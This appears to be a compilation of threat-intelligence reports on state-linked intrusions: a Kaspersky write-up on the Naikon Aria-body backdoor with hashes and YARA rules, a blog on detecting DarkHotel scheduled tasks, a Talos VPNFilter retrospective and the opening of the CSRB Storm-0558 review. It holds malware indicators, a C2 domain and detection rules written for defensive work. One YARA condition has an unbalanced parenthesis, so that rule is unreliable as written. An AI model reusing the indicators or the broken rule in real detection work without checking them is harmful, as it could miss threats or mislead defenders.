| e37bfad12d44a247ac99fdf30f5ac40a0448a097e36f3dbba532688b5678ad13
StoneDrill | 62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260
| 2bab3716a1f19879ca2e6d98c518debb107e0ed8e1534241f7769193807aac83
| bf79622491dc5d572b4cfb7feced055120138df94ffd2b48ca629bb0a77514cc
Tokyo Olympic wiper | fb80dab592c5b2a1dcaaf69981c6d4ee7dbf6c1f25247e2ab648d4d0dc115a97
| c58940e47f74769b425de431fd74357c8de0cf9f979d82d37cdcf42fcaaeac32
WhisperGate | a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
| 44ffe353e01d6b894dc7ebe686791aa87fc9c7fd88535acc274f61c2cf74f5b8
| dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
ZeroCleare | becb74a8a71a324c78625aa589e77631633d0f15af1473dfe34eca06e7ec6b86 |
# Naikon’s Aria
Our colleagues at Checkpoint put together a fine research writeup on some Naikon resources and activity related to “aria-body” that we detected in 2017 and similarly reported in 2018. To supplement their research findings, we are summarizing and publishing portions of the findings reported in our June 2018 “Naikon’s New AR Backdoor Deployment to Southeast Asia”. This malware and activity aligns with much of what the Checkpoint researchers brought to light today.
The Naikon APT became well-known in May 2015, when our public reporting first mentioned and then fully described the group as a long-running presence in the APAC region. Even when the group shut down much of their successful offensive activity after years of campaigns, Naikon maintained several splinter campaigns. Matching malware artifacts, functionality, and targeting demonstrates that the group continues to wage cyber-espionage campaigns in the South China Sea region during 2018.
“Aria-Body” or “AR” is a set of backdoors that maintain compilation dates between January 2017 and February 2018. It can be particularly difficult to detect, as much of this code operates in memory, injected by other loader components without touching disk. We trace portions of this codebase back to “xsFunction” exe and dll modules used in Naikon operations going back to 2012, as their compiled modules implement a subset of the xsFunction feature set. In all likelihood, this new backdoor and related activity is an extension of or merge with the group’s “Paradir Operation”. In the past, the group targeted communications and sensitive information from executive and legislative offices, law enforcement, government administrative, military, and intelligence organizations within Southeast Asia. In many cases, we have seen that these systems also were targeted previously with PlugX and other malware. So, the group has evolved a bit since 2015, and their activity targeting these same profiles continues into 2018. We identified at least a half dozen individual variants from 2017 and 2018.
## Technical Details
It seems clear that the same codebase has been reused by Naikon since at least 2012, and recent AR backdoors were built from that same code. Their use was tightly clustered in previously and heavily Naikon-targeted organizations, again lending confidence to clustering these resources and activity with previous “Naikon”.
Naikon’s new AR backdoor is a dll loaded into any one of multiple processes, providing remote access to a system. AR load attempts have been identified within processes with executable images listed here:
- c:\windows\system32\svchost.exe
- c:\windows\syswow64\svchost.exe
- c:\program files\windows nt\accessories\services.exe
- c:\users\dell\appdata\roaming\microsoft\windows\start menu\programs\startup\acrobat.exe
- c:\alphazawgyi\svchost.exe
Because this AR code is injected into processes, the yara rule provided in the Appendix is best run against memory dumps of processes maintaining a main image in the list above. The AR modules have additionally been seen in some others, including “msiexec.exe” processes. Below are characteristics of the oldest AR and the newest known AR component in our collection.
- **MD5**: c766e55c48a4b2e7f83bfb8b6004fc51
- **SHA256**: 357c8825b3f03414582715681e4e0316859b17e702a6d2c8ea9eb0fd467620a4
- **CompiledOn**: Tue Jan 3 09:23:48 2017
- **Type**: PE32 DLL
- **Internal name**: TCPx86.dll
- **Size**: 176kb
- **Exports**: AzManager, DebugAzManager
- **MD5**: 2ce4d68a120d76e703298f27073e1682
- **SHA256**: 4cab6bf0b63cea04c4a44af1cf25e214771c4220ed48fff5fca834efa117e5db
- **CompiledOn**: Thu Feb 22 10:04:02 2018
- **Type**: PE32 DLL
- **Internal name**: aria-body-dllX86.dll
- **Size**: 204kb
- **Exports**: AzManager, DebugAzManager
When the dll is loaded, it registers a Windows class calling a specific Window procedure with a removable drive check, a CONNECT proxied callback to its main C2, an IP location verification against checkip.amazonaws[.]com, and further communications with a C2. Some previous modules’ flow may include more or less system information collection prior to the initial callback.
The most recent version of the backdoor utilizes another Window procedure to implement a raw input device-based keystroke collector. This keylogger functionality was newly introduced to the malware code in February 2018 and was not present in previous versions.
The approximately 200 – 250kb AR backdoor family provides a familiar and slightly changing functionality set per compiled module. Because Checkpoint covers the same technical points in their post, we provide this simple summary list:
- Persistence handling
- File and directory handling
- Keylogging
- Shell/Process Management
- Network activity and status listing and management
- System information collection and management
- Download management
- Windows management
- Extension management
- Location/IP verification
- Network Communications over HTTP
## Similarities to past Naikon components
Naikon components going back to 2012 maintain heavy similarities with the current “Aria-body” modules. Not only is some of the functionality only lightly modified, but the same misspellings in error logging remain in their codebase. Let’s examine an older 2013 Naikon module and a newer 2017 Naikon AR module here. It’s clear that the underlying codebase continues to be deployed:
- e09254fa4398fccd607358b24b918b63, CompiledOn: 2013:09:10 09:00:15
- c766e55c48a4b2e7f83bfb8b6004fc51, CompiledOn: 2017:01:03 09:23:48
Kudos to the Checkpoint researchers for providing new details of the Naikon story into the public discussion.
For reference, some hashes and a YARA rule are provided here. More incident, infrastructure, IOCs, and details have been and are available to our threat intel customers (please, contact [email protected]).
## Indicators of compromise
- **AR aria-body dll**:
- c766e55c48a4b2e7f83bfb8b6004fc51
- 2ce4d68a120d76e703298f27073e1682
## Loaders and related Naikon malware
- 0ed1fa2720cdab23d969e60035f05d92
- 3516960dd711b668783ada34286507b9
## Verdicts – 2018 and Later
- Trojan.Win32.Generic.gen
- Trojan.Win32.SEPEH.gen
- DangerousObject.Multi.Generic
- Backdoor.Win64.Agent.h*
- Backdoor.Win32.Agent.m*
- Trojan-Downloader.Win32.Agent.x*
## YARA Rules
```yara
rule apt_ZZ_Naikon_ARstrings : Naikon {
meta:
copyright = "Kaspersky"
description = "Rule to detect Naikon aria samples"
hash = "2B4D3AD32C23BD492EA945EB8E59B758"
date = "2020-05-07"
version = "1.0"
strings:
$a1 = "Terminate Process [PID=%d] succeeds!" fullword wide
$a2 = "TerminateProcess [PID=%d] Failed:%d" fullword wide
$a3 = "Close tcp connection returns: %d!" fullword wide
$a4 = "Delete Directory [%s] returns:%d" fullword wide
$a5 = "Delete Directory [%s] succeeds!" fullword wide
$a6 = "Create Directory [%s] succeeds!" fullword wide
$a7 = "SHFileOperation [%s] returns:%d" fullword wide
$a8 = "SHFileOperation [%s] succeeds!" fullword wide
$a9 = "Close tcp connection succeeds!" fullword wide
$a10 = "OpenProcess [PID=%d] Failed:%d" fullword wide
$a11 = "ShellExecute [%s] returns:%d" fullword wide
$a12 = "ShellExecute [%s] succeeds!" fullword wide
$a13 = "FindFirstFile [%s] Error:%d" fullword wide
$a14 = "Delete File [%s] succeeds!" fullword wide
$a15 = "CreateFile [%s] Error:%d" fullword wide
$a16 = "DebugAzManager" fullword ascii
$a17 = "Create Directroy [%s] Failed:%d" fullword wide
$m1 = "TCPx86.dll" fullword wide ascii
$m2 = "aria-body" nocase wide ascii
condition:
uint16(0) == 0x5A4D and
filesize < 450000 and
(2 of ($a*) and 1 of ($m*)
}
```
```yara
rule apt_ZZ_Naikon_codebase : Naikon {
meta:
report = "Naikon New AR Backdoor Deployment to Southeast Asia"
description = "Naikon typo"
author = "Kaspersky"
copyright = "Kaspersky"
version = "1.0"
date = "2018-06-28"
last_modified = "2018-06-28"
strings:
$a1 = "Create Directroy [%s] Failed:%d" wide
condition:
uint16(0) == 0x5A4D and
filesize < 450000 and
$a1
}
```
**APT**
**Backdoor**
**Cyber espionage**
**Malware Technologies**
**Authors: GReAT** |
# Detecting COM Object Tasks Used by DarkHotel
## Background
Adversaries frequently utilize scheduled tasks, a legitimate Windows operating system utility, to establish/maintain persistence and even execute code in a victim network. Scheduled tasks allow for persistence on a victim network between reboots as well as code execution when a certain condition is met (time, user logon, etc.). In this specific example, the adversary does not rely on `schtasks.exe` for task creation, but on a COM object that loads the Task Scheduler Service. This means hunting or detecting anomalous use of `schtasks.exe` won’t provide the defender any tangible information, thus we need to discover other opportunities to find this attack technique.
## To Detect or Hunt?
A recent article by Trellix details new activity moderately attributed to the DarkHotel APT group. The purpose of this post will be to provide some detection or hunting ideas for COM Object-created scheduled tasks.
1. **Block or audit Office applications from creating executable content.**
This detection opportunity likely offers the least effort to implement. The full attack chain presented above, courtesy of Microsoft Defender for Endpoint (MDE), not only detects the scheduled task but also a malicious VBS file. Outright blocking Office applications from executable content may not be feasible in some environments. Microsoft’s Attack Surface Reduction (ASR) has added a new mode, “warn” along with audit and block. This new ASR mode provides a dialog box notifying the user content was blocked, allowing them to unblock content for 24 hours.
2. **Image Load event logging with Sysmon**
Sysmon’s Event 7, Image Loaded provides defenders visibility and the opportunity to collect events where DLLs are loaded by processes. In this case, it is unlikely `Excel.exe` has a legitimate reason to load `taskschd.dll`. Depending on how your environment utilizes VBA macro documents, Sysmon and other SIEM rules may require tuning. A Sigma rule and example Splunk query are provided below. The above Sigma rule converts to an easy SPL one-liner:
`"source=sysmon" (Image="*\\Excel.exe" OR Image="*\\Winword.exe" OR Image="*\\Powerpnt.exe") (ImageLoaded="*\\taskschd.dll")`
The malicious Excel file also loads `wshom.ocx`, part of the Windows Scripting Host, or `wscript.exe`. This can be added to the above query by searching for `ImageLoaded="*\\wshom.ocx"`.
3. **Scheduled Task created without schtasks.exe**
The KQL query represents a very basic method to discover Scheduled Tasks created without `schtasks.exe`. If you look closely, both Tasks are related to running the malware in my lab. The two Tasks are labeled “MicrosoftOneDriveMgmt” and “MicrosoftOneDriveSync”.
4. **Scheduled Tasks with a short shelf life**
This specific case offers an opportunity to detect Scheduled Tasks created (Event ID 4698) for a short period of time. In this case, the task would be executed every five minutes for a period of one day. As we have seen, every five minutes the Task reaches out to a C2 server. Depending on your environment, this may be a good indicator of beaconing.
## Conclusion
While the above technique of utilizing an Office App to create a Scheduled Task via a COM Object is not new, I hope this post provides you with ideas to detect Tasks created without `schtasks.exe`. |
# One Year Later: The VPNFilter Catastrophe That Wasn't
Cisco Talos first disclosed the existence of VPNFilter on May 23, 2018. The malware made headlines across the globe as it was a sophisticated piece of malware developed by a nation state, infecting half a million devices and poised to cause havoc. Yet the attack was averted. The attacker’s command and control (C2) infrastructure was seized by the FBI, preventing the attacker from broadcasting orders to compromised devices. The attacker lost control of the infected systems, and potential catastrophe was prevented.
This was a wakeup call that alerted the cybersecurity community to a new kind of state-sponsored threat — a vast network of compromised devices across the globe that could stow away secrets, hide the origins of attacks, and shut down networks. This is the story of VPNFilter and the catastrophe that was averted.
## Network as the Target
Network infrastructure is a tempting and useful target for attackers. Like any computing system, network devices such as routers and switches may contain vulnerabilities or misconfigurations that allow attackers to compromise the device. Once compromised, the device can be used as a point of incursion to search out and attack additional systems, or the functionality of the device can be changed to the attacker’s will, and network traffic intercepted, modified, or rerouted. Unlike many other computing systems, routers and switches are unlikely to be running anti-virus software or be under active supervision by eagle-eyed administrators who may notice unusual activity.
In the weeks prior to the disclosure of VPNFilter, it was clear that network infrastructure was increasingly the target of state-sponsored threat actors. The activities of a threat actor associated with Russia had been observed, and government agencies across the world published advisories warning organizations to take note.
## Traces of VPNFilter
Someone registered the unobtrusive domain toknowall.com in December 2015. On May 4, 2017, that domain was changed to point to an IP address hosted in France after it initially pointed at a Bulgarian hosting provider. Although nobody knew it at the time, this was one of the means by which the attackers were communicating with VPNFilter. This domain would remain active until the threat was neutralized on May 23, 2018.
By the end of August 2017, the FBI had been made aware of a home router exhibiting unusual behavior. The device attempted to connect to a Photobucket account to download an image, behavior that was clearly being driven by a malware infection. In fact, both the Photobucket accounts and the toknowall.com domain were hosting images in which the IP address of the C2 server, used by the threat actor to issue instructions to the malware, were hidden, disguised within the EXIF metadata of the image.
By March 2018, additional malware samples were discovered that also reached out to Photobucket and used toknowall.com as a backup in case Photobucket was unavailable. Analyzing the malware samples showed that the threat actor let an important clue slip. To keep important data within the malware confidential, the malicious code used encryption, implementing the RC4 encryption algorithm. However, the code implementing this algorithm included a subtle error, a mistake that was identical to exhibited by code used in the BlackEnergy attacks against Ukraine and elsewhere. This code reuse from one attack to another allowed government agencies to identify that this attack originated from the group known as APT28 or “Sofacy.”
## BlackEnergy and APT28
Each threat actor group has its own mode of operation, preferences, and characteristics that they display as part of their attacks. For example, Group 123 is known to conduct attacks by distributing documents that reference politics on the Korean peninsula. In contrast, the threat actor Rocke seeks to install cryptocurrency mining software on compromised devices by downloading code from Git repositories. Threat actors frequently reuse code or infrastructure, which allows researchers to identify specific threat actor groups and track their campaigns.
APT28, also known as Sofacy or Grizzly Steppe, is one of many threat actors that are followed by analysts. There is little doubt that this threat actor is part of the Russian Intelligence Services, that it is particularly active, and that it can cause chaos. The BlackEnergy attack was one of the most notorious attacks from this group. BlackEnergy disrupted electrical power distributions in Ukraine in December 2015, which caused widespread power outages across the country. A particular characteristic of this attack was a component that wiped disks, rendering infected devices inoperable and destroying forensic evidence which could have been used to understand exactly how the attack was conducted.
This intent to destroy systems and prevent recovery was one of the factors that made it so important to respond to VPNFilter swiftly.
## Capability and Intent
VPNFilter managed to exploit various network devices and affected over 500,000 devices in at least 54 countries. The modular architecture of the malware allowed the threat actor to install various different modules to conduct different malicious activities from the infected devices.
At its simplest, the malware contained the ability to ‘brick’ or render permanently inoperable the infected devices. Alternatively, the malware could be used as a point of ingress on a network, and subsequently used to discover and attack other systems connected to the affected device. One particular module contained functionality to identify and monitor Modbus network traffic, a protocol widely used in Industrial Control Systems.
A further module allowed the malware to create a giant Tor network comprising the many compromised systems. This network potentially allowed attackers to disguise the ultimate destination of data stolen from other compromised systems or the country of origin of attacks against systems.
Clearly, capturing data, especially usernames and passwords, was one goal of the attack. The malware was capable of downgrading encrypted HTTPS connections to an unencrypted HTTP connection, then saving that traffic for future collection. Similarly, anything that looked like a user credential or authorization token could be identified, recorded, and subsequently collected.
Since the malware infected routers that direct network traffic to its intended destination, the malware could modify the routing information and create custom destinations for certain traffic, redirecting traffic from the genuine destination to a separate system under the control of the attackers. All of this is achieved without alerting the end user that anything was amiss.
## The Response
The number of affected systems grew throughout the spring of 2018. However, sharp spikes in the numbers of new infections were observed on May 8 and 17. This sudden growth was almost exclusively within Ukraine, which pointed to imminent preparation of an attack. At this point, Talos worked with partner organizations in the private and public sector to neutralize the threat. The FBI led efforts to seize the C2 infrastructure, and in parallel, Talos informed members of the industry coalition group, the Cyber Threat Alliance, to ensure that the whole cybersecurity industry could act together to neutralize the threat.
The response was closely coordinated. Law enforcement took down the C2 infrastructure, cutting the ability of the attacker to send commands to the infected systems. The cybersecurity industry updated security products to detect and block VPNFilter and issued advice to users on how to protect themselves.
We will never know the exact nature of the attack that was averted. The timing of the growth of infections suggested that Ukrainian Constitution Day on June 29, the anniversary of NotPetya on June 27, or Orthodox Pentecost Monday on May 28 may have been target dates. The Security Service of Ukraine suggested that the attack would have been timed to disrupt the UEFA Champions League Final, which was taking place in Kiev on May 26.
## Protection
VPNFilter partly resided in memory and partly on the storage media of the devices it infected. Rebooting the device would clear the memory resident part of the malware, but not stop the malware component residing in the device storage from initiating contact with the command and control systems. However, once that C2 was disabled, the persistent part of the malware could no longer receive instructions.
The remnants of the malware can be cleared by resetting devices to factory settings, followed by patching to the latest version to remove vulnerabilities. Although it is still unclear which vulnerabilities were exploited to install VPNFilter, all the types of devices that were compromised had known existing vulnerabilities.
Given their position in the network topology, perimeter network devices are always going to be exposed to attack. Unpatched devices with known vulnerabilities that are exposed to the internet are ripe for compromise by threat actors such as APT28.
Keeping such devices fully patched and correctly configured are vital parts of network hygiene. However, if this can’t be assured, then devices need to be placed behind next-generation firewalls to detect and block the attacks before they impact the vulnerable device.
Vigilance is also part of good network hygiene. VPNFilter was first detected by identifying the unusual network behavior of an infected device. The network is ideally placed to be the sensor that detects and informs us of the actions of the bad guys.
## Conclusion & Aftermath
Together, Talos and the FBI worked to identify and characterize VPNFilter. The malware’s multi-stage modular platform supported both intelligence-collection and destructive cyber attack operations. The campaign managed to infect over 500,000 devices in at least 54 countries. This malware could have been used to conduct a large-scale destructive attack, which would have rendered infected physical devices unusable and cut off internet access for hundreds of thousands of users. However, identification and characterization of the threat, coupled with a coordinated response across the public and private sectors, stopped the attack before a catastrophe occurred.
The degree of collaboration across different organizations was unprecedented. There is always a balance to tread between keeping information private in order to maintain operational security and sharing between partners to act together, maximizing the impact against the threat actor to reduce the severity of an attack. There is evidence to suggest that Talos’ early engagement of the Cyber Threat Alliance in the case of VPNFilter has had a lasting legacy, helping to encourage others to engage in earlier and more frequent sharing of data.
The various malicious modules identified for VPNFilter give us insight into the objectives and desires of the threat actor. Notably, infecting routers allows the threat actor to reroute network traffic from the intended legitimate destination to a malicious destination under the control of the attacker. Potentially, this ability can be used to collect further usernames and passwords and also to conduct man-in-the-middle attacks by intercepting and reading network traffic before passing it on to the intended destination.
APT28 is only one example of the many threat actors who continue to attempt destructive attacks. Talos recently discovered the Sea Turtle campaign. Although the unknown threat actor behind the attack is different from APT28, they also sought to reroute internet traffic in order to conduct man-in-the-middle attacks and collect user credentials. However, they achieved their objectives by a completely different approach than VPNFilter, by attacking the internet’s DNS infrastructure.
Clearly, network infrastructure is in the sights of nation-state threat actors. We can expect that attackers will continue to seek to compromise these systems and continue to refine and develop the malware that they use to achieve their goals. Attackers can only learn from past failures. In the inevitable next wave of attacks, we can expect to see malware that leaves fewer traces in network traffic and has a more sophisticated C2 infrastructure that is more resistant to disruption.
The network is at the heart of our professional and social lives, and increasingly, our physical environment. The little devices that connect us to the network are often overlooked, but it is these systems that allow our critical national infrastructure and enterprises to function. VPNFilter teaches us that attackers have not overlooked the importance of these systems, and that those who may be seeking to disrupt our societies look to strike at the network.
However, in attempting to conduct this attack, the threat actors have let slip their technologies and the capabilities that they are trying to develop. These clues help us in knowing where to look and how to search for the next attack in preparation.
Talos continues to use its unparalleled visibility of threats to analyze the changing threat landscape and to act together with partners to protect customers. Nevertheless, cybersecurity is everyone’s concern. We all have our part to play in protecting against the next attack by ensuring that we have adequate security protection and that all our devices connected to the network are kept updated and fully patched.
We don’t know what the next major attack will be, but we continue to search for the hints and clues of an impending attack so that we can disrupt the activity and stop catastrophes before they happen. |
# Review of the Summer 2023 Microsoft Exchange Online Intrusion
## Message from the Chair and Deputy Chair
It is not an exaggeration to say that cloud computing has become an indispensable resource to this nation, and indeed, much of the world. Numerous companies, government agencies, and even some entire countries rely on this infrastructure to run their critical operations, such as providing essential services to customers and citizens. Driven by productivity, efficiency, and cost benefits, adoption of these services has skyrocketed over the past decade, and, in some cases, they have become as indispensable as electricity. As a result, cloud service providers (CSPs) have become custodians of nearly unimaginable amounts of data. Everything from Americans’ personal information to communications of U.S. diplomats and other senior government officials, as well as commercial trade secrets and intellectual property, now resides in the geographically-distributed data centers that comprise what the world now calls the “cloud.”
The cloud creates enormous efficiencies and benefits but, precisely because of its ubiquity, it is now a high-value target for a broad range of adversaries, including nation-state threat actors. An attacker that can compromise a CSP can quickly position itself to compromise the data or networks of that CSP’s customers. In effect, the CSPs have become one of our most important critical infrastructure industries. As a result, these companies must invest in and prioritize security consistent with this “new normal,” for the protection of their customers and our most critical economic and security interests.
When a hacking group associated with the government of the People’s Republic of China, known as Storm-0558, compromised Microsoft’s cloud environment last year, it struck the espionage equivalent of gold. The threat actors accessed the official email accounts of many of the most senior U.S. government officials managing our country’s relationship with the People’s Republic of China.
As is its mandate, the Cyber Safety Review Board (CSRB, or the Board) conducted deep fact-finding around this incident. The Board concludes that this intrusion should never have happened. Storm-0558 was able to succeed because of a cascade of security failures at Microsoft, as outlined in this report. Today, the Board issues recommendations to Microsoft to ensure this critical company, which sits at the center of the technology ecosystem, is prioritizing security for the benefit of its more than one billion customers. In the course of its review, the Board spoke with a range of large CSPs to assess the state of their security practices, and—as is also its mandate—the Board today issues recommendations to all CSPs for establishing specific security controls for identity and authentication in the cloud. All technology companies must prioritize security in the design and development of their products. The entire industry must come together to dramatically improve the identity and access infrastructure that safeguards the information CSPs are entrusted to maintain. Global security relies upon it.
We, and all the members of CSRB, are grateful for Microsoft’s full cooperation in this review. The company provided extensive oral and written submissions since November 2023, and we believe answered all of our questions to the best of its ability. We also received full cooperation from U.S. intelligence, law enforcement, and cyber defense agencies. As we complete our third review since the Board’s establishment in 2022, we are gratified more broadly to observe the track record of cooperation that CSRB has developed with industry, security researchers, the academic community, and foreign government agencies. We are more confident than ever in the Board’s role as a truly public-private institution that conducts authoritative fact-finding and issues actionable recommendations in the wake of major cyber incidents.
We are grateful to Alejandro Mayorkas, Secretary of Homeland Security, and to Jen Easterly, Director of the Cybersecurity and Infrastructure Security Agency, for their continued belief in and support of this Board, including by charging us with consequential mandates like this review of the Microsoft Exchange Online incident. We offer our thanks to the 20 organizations and individual experts who offered their experience and expertise to allow us to conduct this comprehensive review. Finally, we express deep appreciation to our colleagues on the Board for their continued commitment to our charge, and to the determined and gifted staff who helped the Board discharge its task and bring this important review to conclusion.
Robert Silvers
Chair
Dmitri Alperovitch
Deputy Chair
## Executive Summary
In May and June 2023, a threat actor compromised the Microsoft Exchange Online mailboxes of 22 organizations and over 500 individuals around the world. The actor—known as Storm-0558 and assessed to be affiliated with the People’s Republic of China in pursuit of espionage objectives—accessed the accounts using authentication tokens that were signed by a key Microsoft had created in 2016. This intrusion compromised senior United States government representatives working on national security matters, including the email accounts of Commerce Secretary Gina Raimondo, United States Ambassador to the People’s Republic of China R. Nicholas Burns, and Congressman Don Bacon.
Signing keys, used for secure authentication into remote systems, are the cryptographic equivalent of crown jewels for any cloud service provider. As occurred in the course of this incident, an adversary in possession of a valid signing key can grant itself permission to access any information or systems within that key’s domain. A single key’s reach can be enormous, and in this case, the stolen key had extraordinary power. In fact, when combined with another flaw in Microsoft’s authentication system, the key permitted Storm-0558 to gain full access to essentially any Exchange Online account anywhere in the world. As of the date of this report, Microsoft does not know how or when Storm-0558 obtained the signing key.
This was not the first intrusion perpetrated by Storm-0558, nor is it the first time Storm-0558 displayed interest in compromising cloud providers or stealing authentication keys. Industry links Storm-0558 to the 2009 Operation Aurora campaign that targeted over two dozen companies, including Google, and the 2011 RSA SecurID incident, in which the actor stole secret keys used to generate authentication codes for SecurID tokens, which were used by tens of millions of users at that time. Indeed, security researchers have tracked Storm-0558’s activities for over 20 years.
On August 11, 2023, Secretary of Homeland Security Alejandro Mayorkas announced that the Cyber Safety Review Board (CSRB, or the Board) would “assess the recent Microsoft Exchange Online intrusion... and conduct a broader review of issues relating to cloud-based identity and authentication infrastructure affecting applicable cloud service providers and their customers.”
The Board conducted extensive fact-finding into the Microsoft intrusion, interviewing 20 organizations to gather relevant information. Microsoft fully cooperated with the Board and provided extensive in-person and virtual briefings, as well as written submissions. The Board also interviewed an array of leading cloud service providers to gain insight into prevailing industry practices for security controls and governance around authentication and identity in the cloud.
The Board finds that this intrusion was preventable and should never have occurred. The Board also concludes that Microsoft’s security culture was inadequate and requires an overhaul, particularly in light of the company’s centrality in the technology ecosystem and the level of trust customers place in the company to protect their data and operations. The Board reaches this conclusion based on:
1. The cascade of Microsoft’s avoidable errors that allowed this intrusion to succeed.
2. Microsoft’s failure to detect the compromise of its cryptographic crown jewels on its own, relying instead on a customer to reach out to identify anomalies the customer had observed.
3. The Board’s assessment of security practices at other cloud service providers, which maintained security controls that Microsoft did not.
4. Microsoft’s failure to detect a compromise of an employee's laptop from a recently acquired company prior to allowing it to connect to Microsoft’s corporate network in 2021.
5. Microsoft’s decision not to correct, in a timely manner, its inaccurate public statements about this incident, including a corporate statement that Microsoft believed it had determined the likely root cause of the intrusion when in fact, it still has not; even though Microsoft acknowledged to the Board in November 2023 that its September 6, 2023 blog post about the root cause was inaccurate, it did not update that post until March 12, 2024, as the Board was concluding its review and only after the Board’s repeated questioning about Microsoft’s plans to issue a correction.
6. The Board's observation of a separate incident, disclosed by Microsoft in January 2024, the investigation of which was not in the purview of the Board’s review, which revealed a compromise that allowed a different nation-state actor to access highly-sensitive Microsoft corporate email accounts, source code repositories, and internal systems.
7. How Microsoft’s ubiquitous and critical products, which underpin essential services that support national security, the foundations of our economy, and public health and safety, require the company to demonstrate the highest standards of security, accountability, and transparency.
Throughout this review, the Board identified a series of Microsoft operational and strategic decisions that collectively point to a corporate culture that deprioritized both enterprise security investments and rigorous risk management. To drive the rapid cultural change that is needed within Microsoft, the Board believes that Microsoft’s customers would benefit from its CEO and Board of Directors directly focusing on the company’s security culture and developing and sharing publicly a plan with specific timelines to make fundamental, security-focused reforms across the company and its full suite of products. The Board recommends that Microsoft’s CEO hold senior officers accountable for delivery against this plan. In the meantime, Microsoft leadership should consider directing internal Microsoft teams to deprioritize feature developments across the company’s cloud infrastructure and product suite until substantial security improvements have been made in order to preclude competition for resources. In all instances, security risks should be fully and appropriately assessed and addressed before new features are deployed.
Based on the lessons learned from its review and its fact-finding into prevailing security practices across the cloud services industry, the Board, in addition to the recommendations it makes to the President of the United States and Secretary of Homeland Security, also developed a series of broader recommendations for the community focused on improving the security of cloud identity and authentication across the government agencies responsible for driving better cybersecurity, cloud service providers, and their customers.
- **Cloud Service Provider Cybersecurity Practices:** Cloud service providers should implement modern control mechanisms and baseline practices, informed by a rigorous threat model, across their digital identity and credential systems to substantially reduce the risk of system-level compromise.
- **Audit Logging Norms:** Cloud service providers should adopt a minimum standard for default audit logging in cloud services to enable the detection, prevention, and investigation of intrusions as a baseline and routine service offering without additional charge.
- **Digital Identity Standards and Guidance:** Cloud service providers should implement emerging digital identity standards to secure cloud services against prevailing threat vectors. Relevant standards bodies should refine, update, and incorporate these standards to address digital identity risks commonly exploited in the modern threat landscape.
- **Cloud Service Provider Transparency:** Cloud service providers should adopt incident and vulnerability disclosure practices to maximize transparency across and between their customers, stakeholders, and the United States government, even in the absence of a regulatory obligation to report.
- **Victim Notification Processes:** Cloud service providers should develop more effective victim notification and support mechanisms to drive information-sharing efforts and amplify pertinent information for investigating, remediating, and recovering from cybersecurity incidents.
- **Security Standards and Compliance Frameworks:** The United States government should update the Federal Risk Authorization Management Program and supporting frameworks and establish a process for conducting discretionary special reviews of the program’s authorized Cloud Service Offerings following especially high-impact situations. The National Institute of Standards and Technology should also incorporate feedback about observed threats and incidents related to cloud provider security.
## Facts
### Overview
In May 2023, a threat actor known as Storm-0558 compromised the Microsoft Exchange Online mailboxes of a broad range of victims in the United States (U.S.), the United Kingdom (U.K.), and elsewhere. Storm-0558, assessed by multiple sources to pursue espionage objectives and maintain ties with the People’s Republic of China (PRC), accessed email accounts in the U.S. Department of State, U.S. Department of Commerce, and U.S. House of Representatives. This included the official and personal mailboxes of U.S. Commerce Secretary Gina Raimondo; Congressman Don Bacon; U.S. Ambassador to the PRC, R. Nicholas Burns; Assistant Secretary of State for East Asian and Pacific Affairs, Daniel Kritenbrink; and additional individuals across 22 organizations. These senior officials have substantial responsibilities for many aspects of the U.S. government’s bilateral relationship with the PRC. Storm-0558 had access to some of these cloud-based mailboxes for at least six weeks, and during this time, the threat actor downloaded approximately 60,000 emails from the State Department alone.
The State Department was the first victim to discover the intrusion when, on June 15, 2023, State’s security operations center (SOC) detected anomalies in access to its mail systems. The next day, State observed multiple security alerts from a custom rule it had created, known internally as “Big Yellow Taxi,” that analyzes data from a log known as MailItemsAccessed, which tracks access to Microsoft Exchange Online mailboxes. State was able to access the MailItemsAccessed log to set up these particular Big Yellow Taxi alerts because it had purchased Microsoft’s government agency-focused G5 license that includes enhanced logging capabilities through a product called Microsoft Purview Audit (Premium). The MailItemsAccessed log was not accessible without that “premium” service.
Though the alerts showed activity that could have been considered normal—and, indeed, State had seen false positive Big Yellow Taxi detections in the past—State investigated these incidents and ultimately determined that the alert indicated malicious activity. State triaged the alert as a moderate-level event and, on Friday, June 16, 2023, its security team contacted Microsoft. Microsoft opened and conducted an investigation of its own, and over the next 10 days, ultimately confirmed that Storm-0558 had gained entry to certain user emails through State’s Outlook Web Access (OWA). Concurrently, Microsoft expanded its investigation to identify the 21 additional impacted organizations and 503 related users impacted by the attack and worked to identify and notify impacted U.S. government agencies.
Microsoft initially assumed that Storm-0558 had gained access to State Department accounts through traditional threat vectors, such as compromised devices or stolen credentials. However, on June 26, 2023, Microsoft discovered that the threat actor had used OWA to access emails directly using tokens that authenticated Storm-0558 as valid users. Such tokens should only come from Microsoft’s identity system, yet these had not. Moreover, tokens used by the threat actor had been digitally signed with a Microsoft Services Account (MSA) cryptographic key that Microsoft had issued in 2016. This particular MSA key should only have been able to sign tokens that worked in consumer OWA, not Enterprise Exchange Online. Finally, this 2016 MSA key was originally intended to be retired in March 2021, but its removal was delayed due to unforeseen challenges associated with hardening the consumer key systems. This was the moment that Microsoft realized it had major, overlapping problems: first, someone was using a Microsoft signing key to issue their own tokens; second, the 2016 MSA key in question was no longer supposed to be signing new tokens; and third, someone was using these consumer key-signed tokens to gain access to enterprise email accounts.
According to Microsoft, this discovery triggered an all-hands-on-deck investigation by Microsoft that ran overnight from June 26 into June 27, 2023, focusing on the 2016 MSA key that had issued the token as well as the access token itself. By the end of the day, Microsoft had high confidence that the threat actor had forged a token using a stolen consumer signing key. Microsoft then escalated this intrusion internally, assigning it the highest urgency level and coordinating its investigation across multiple company teams. As a result, Microsoft developed 46 hypotheses to investigate, including some scenarios as wide-ranging as the adversary possessing a theoretical quantum computing capability to break public-key cryptography or an insider who stole the key during its creation. Microsoft then assigned teams for each hypothesis to try to: prove how the theft occurred; prove it could no longer occur in the same way now; and to prove Microsoft would detect it if it happened today. Nine months after the discovery of the intrusion, Microsoft says that its investigation into these hypotheses remains ongoing.
